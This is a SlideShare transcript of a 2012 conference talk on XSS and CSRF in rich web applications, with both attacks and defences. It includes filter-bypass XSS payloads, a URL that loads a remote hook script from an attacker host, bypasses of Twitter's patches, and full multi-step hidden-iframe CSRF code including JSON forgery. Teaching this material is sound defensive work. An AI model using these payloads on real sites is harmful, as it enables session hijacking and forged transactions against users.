Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Application Security for Rich Internet Applicationss (Jfokus 2012)

6,006 views

Published on

The slides from my talk at Jfokus 2012, February 14 2012.

Published in: Technology
  • Be the first to comment

Application Security for Rich Internet Applicationss (Jfokus 2012)

  1. 1. Application Security forRich Internet Applications @johnwilander at Jfokus Feb 14 2012 Stockholm, Sweden
  2. 2. Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden@johnwilanderjohnwilander.com (music) johnwilander.se (papers etc)
  3. 3. OWASP Top 10 Top web application security risks 2010
  4. 4. 1. Injection2. Cross-Site Scripting (XSS)3. Broken Authentication and Session Management4. Insecure Direct Object References5. Cross-Site Request Forgery (CSRF)6. Security Misconfiguration7. Insecure Cryptographic Storage8. Failure to Restrict URL Access9. Insufficient Transport Layer Protection10.Unvalidated Redirects and Forwards
  5. 5. ”Do I have to care?”
  6. 6. Likelihood of ≥ 1 vulnerability on your siteFrom: WhiteHat Website Security Statistic Report, Winter 2011
  7. 7. Per extension .asp .aspx .do .jsp .php Sites having had ≥ 1 74 % 73 % 77 % 80 % 80 % serious vulnerability Sites currently having ≥ 1 57 % 58 % 56 % 59 % 63 % serious vulnerabilityFrom: WhiteHat Website Security Statistic Report, Spring 2010
  8. 8. But we’re moving towards more code client-side
  9. 9. Client-Side, JavaScript VulnerabilitiesFrom: IBM X-Force 2011 Mid-Year Trend and Risk Report
  10. 10. Client-Side, JavaScript VulnerabilitiesFrom: IBM X-Force 2011 Mid-Year Trend and Risk Report
  11. 11. Focus Today• Part 1: Cross-Site Scripting (XSS)• Part 2: Cross-Site Request Forgery (CSRF)
  12. 12. Part 1: XSS ...the hack that keeps on hacking
  13. 13. Cross-Site Scripting Theory Scripting s-Site C ros
  14. 14. Cross-Site Scripting Type 1, reflected Scripting Cross-Site Ph ish ing
  15. 15. Cross-Site Scripting Type 2, stored s-S ite C ros
  16. 16. Cross-Site Scripting Type 2, stored Scripting
  17. 17. Cross-Site Scripting Type 0, DOM-based ng i pti Scr Cros s-Sit e Ph ish in g
  18. 18. Cross-Site Scripting Type 0, DOM-based ng i pti Scr Cros No server roundtrip! s-Sit e Also, single-page interfaces make injected scripts ”stick” Ph isin in the DOM. g
  19. 19. https://secure.bank.com/authentication#language=sv&country=SE
  20. 20. https://secure.bank.com/authentication#language=sv&country=SE Never sent to server Be careful when you use this data on your page
  21. 21. Would you click this?https://secure.bank.com/authentication #language=<script src="http:// attackr.se:3000/hook.js"></ script>&country=SE
  22. 22. Would you click this?https://secure.bank.com/authentication#language=%3Cscript%20src%3D%22http%3A%2F%2Fattackr.se%3A3000%2Fhook.js%22%3E %3C%2Fscript%3E&country=SE
  23. 23. Would you click this? http://bit.ly/Yg4T32
  24. 24. Filter out <script>?var ... , stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig,/** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, "");}, http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
  25. 25. Filter out <script>?<img src=1 onerror=alert(1)><svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg><body onload=alert(XSS)><table background="javascript:alert(XSS)">¼script¾alert(¢XSS¢)¼/script¾<video poster=javascript:alert(1)//
  26. 26. ”C’mon, such attacks don’t really work, do they?” Yep, demo.
  27. 27. DOM-Based XSS Twitter September 2010Full story athttp://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
  28. 28. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
  29. 29. (function(g){ var a = What does this code do? location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
  30. 30. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander”(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; }})(window);
  31. 31. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander”(function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but changes initial g.location = a; the path }})(window);
  32. 32. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander”(function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but changes initial g.location = a; the path } So})(window); twitter.com/#!/johnwilander becomes twitter.com/johnwilander Read more: http://kotowicz.net/absolute/
  33. 33. http://twitter.com/#!javascript:alert(document.domain);
  34. 34. http://twitter.com/#!javascript:alert(document.domain); Never sent to server => DOM-based XSS
  35. 35. The Patch™var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;}
  36. 36. The Patch™var c = location.href.split("#!")[1];if (c) { window.location = c.replace(":", "");} else { return true;} Replaces the first occurance of the search string
  37. 37. http://twitter.com/#!javascript::alert(document.domain);
  38. 38. http://twitter.com/#!javascript::alert(document.domain);
  39. 39. The 2nd Patch™(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window);
  40. 40. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp pattern delimiters
  41. 41. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp pattern delimiters Global match
  42. 42. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); }})(window); Regexp pattern delimiters Global match Ignore case
  43. 43. Were they done now?
  44. 44. http://twitter.com#!javascript&x58;alert(1)
  45. 45. http://twitter.com#!javascript&x58;alert(1) HTML entity version of ’:’
  46. 46. The n:th Patch™ (this one works)(function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; }})(window); And hey, Twitter is doing the right thing: https://twitter.com/about/security
  47. 47. Fix these issues properly with ...Client-Side Encoding
  48. 48. https://github.com/chrisisbeef/jquery-encoder• $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>• $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style()• $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html()• $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes• $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc• $.encoder.encodeForURL() Encodes for safe usage in href etc
  49. 49. https://github.com/chrisisbeef/jquery-encoder• $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b>• $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style()• $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html()• $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes• $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc• $.encoder.encodeForURL() Encodes for safe usage in href etc
  50. 50. Let’s do a short demo of that
  51. 51. Also, check out ...Content Security Policyhttp://people.mozilla.com/~bsterne/ content-security-policy/
  52. 52. New HTTP Response Header Saying ...Only allow scripts from whitelisted domainsandonly allow scripts from files, i.e. no inline scripts
  53. 53. self = same URL, protocol and portX-Content-Security-Policy: default-src selfAccept all content including scripts only from my own URL+portX-Content-Security-Policy: default-src *;script-src trustedscripts.foo.comAccept media only from my URL+port (images, stylesheets,fonts, ...) and scripts only from trustedscripts.foo.com
  54. 54. Part2: CSRF against RESTful servicesand in several, semi-blind steps
  55. 55. Cross-Site Request Forgery Request Fo rgery Cro ss- Sit e
  56. 56. Cross-Site Request Forgery Request Forgery Cros s-Si te Ph ish ing
  57. 57. What’s on your mind? What’s on your mind? POST POST
  58. 58. What’s on your mind? What’s on your mind?I love OWASP! POST POST
  59. 59. What’s on your mind? What’s on your mind?I love OWASP! POST POSTJohn: I love OWASP!
  60. 60. What’s on your mind? What’s on your mind? POST POST
  61. 61. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  62. 62. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  63. 63. What’s on your mind? What’s on your mind? POST I hate OWASP! POSTJohn: I hate OWASP!
  64. 64. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form">John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $(#form).submit(); }); </script>
  65. 65. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit"What’s on your mind? What’s on your mind? value="POST"/> POST </form>John: I hate OWASP! <script> $(document).ready(function() { $(#target).submit(); }); </script>
  66. 66. Multi-Step,Semi-Blind CSRF
  67. 67. What about ”several steps”?Step 1 Step 2 Step 3
  68. 68. Step 1 Step 2 Step 3State built up i steps, server roundtrip in-between
  69. 69. Step 1 Step 2 Step 3 st ue ll r eq wi ed tep ous rg t s o s F a re vi l p to the m iss
  70. 70. Can we forge timed GETs andPOSTsin a deterministic, non-blindway? Step 1 Step 2 Step 3 1 2 3 4
  71. 71. csrfMultiDriver.html invisible iframe csrfMulti0.html
  72. 72. csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
  73. 73. csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
  74. 74. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
  75. 75. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
  76. 76. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
  77. 77. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  78. 78. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { The wait for a GET CSRF is over imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); when onerror fires imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  79. 79. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
  80. 80. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); IFRAME_POSTER.havePosted = true; }};IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
  81. 81. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); is over The wait for a POST CSRF IFRAME_POSTER.havePosted = true; } when parent stops getting messages};IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
  82. 82. var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti0.html} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti1.html} ], appendIFrame = function(frame) { var domNode = <iframe src=" + frame.src + " height="600" width="400" + (hideIFrames ? style="visibility: hidden" : ) + ></iframe>; $("body").append(domNode); };… csrfMultiDriver.ht
  83. 83. return { checkIFrames : function() { var frame; for (var i = 0; i < frames.length; i++) { frame = frames[i]; if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.ht
  84. 84. Demo Multi-Step,Semi-Blind CSRF against amazon.com which has protection against CSRF.The intention is to show how you can test your own sites.
  85. 85. There used to be aprotection in web 1.5
  86. 86. Forced Browsing wizard-styleShipment info ✉ Payment info $ Next Buy!
  87. 87. Forced Browsing wizard-styleShipment info ✉ Payment info $ Token Next Buy!
  88. 88. Forced Browsing wizard-styleShipment info ✉ Payment info $ Re-Auth Next Buy!
  89. 89. Forced Browsing wizard-styleToken 1 Token 2 Token 3
  90. 90. Forced Browsing wizard-styleToken 1 Token 2 Token 3State built up i steps, server roundtrip in-between
  91. 91. Forced Browsing wizard-styleToken 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
  92. 92. But in RIAs ...
  93. 93. RIA & client-side state { ”purchase”: {} }
  94. 94. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  95. 95. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  96. 96. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  97. 97. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  98. 98. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  99. 99. Can an attackerforge such a JSON structure?
  100. 100. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  101. 101. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  102. 102. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  103. 103. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  104. 104. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /></form>
  105. 105. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}// value="dummy" /> <input type="submit" value="Go" /></form>
  106. 106. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name={"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}// value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /></form>
  107. 107. Demo CSRF POST thenDemo CSRF + XSSThe Browser Exploitation Framework http://beefproject.com/
  108. 108. Important in your REST API • Restrict do CSRF with GETe.g. POST Easier to HTTP method, • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi- part and text/plain
  109. 109. Double Submit (CSRF Protection)
  110. 110. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
  111. 111. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
  112. 112. Double Submit (CSRF protection)Anti-CSRF cookie canbe generated client-side=> no server-side state
  113. 113. Thanks!@johnwilander

×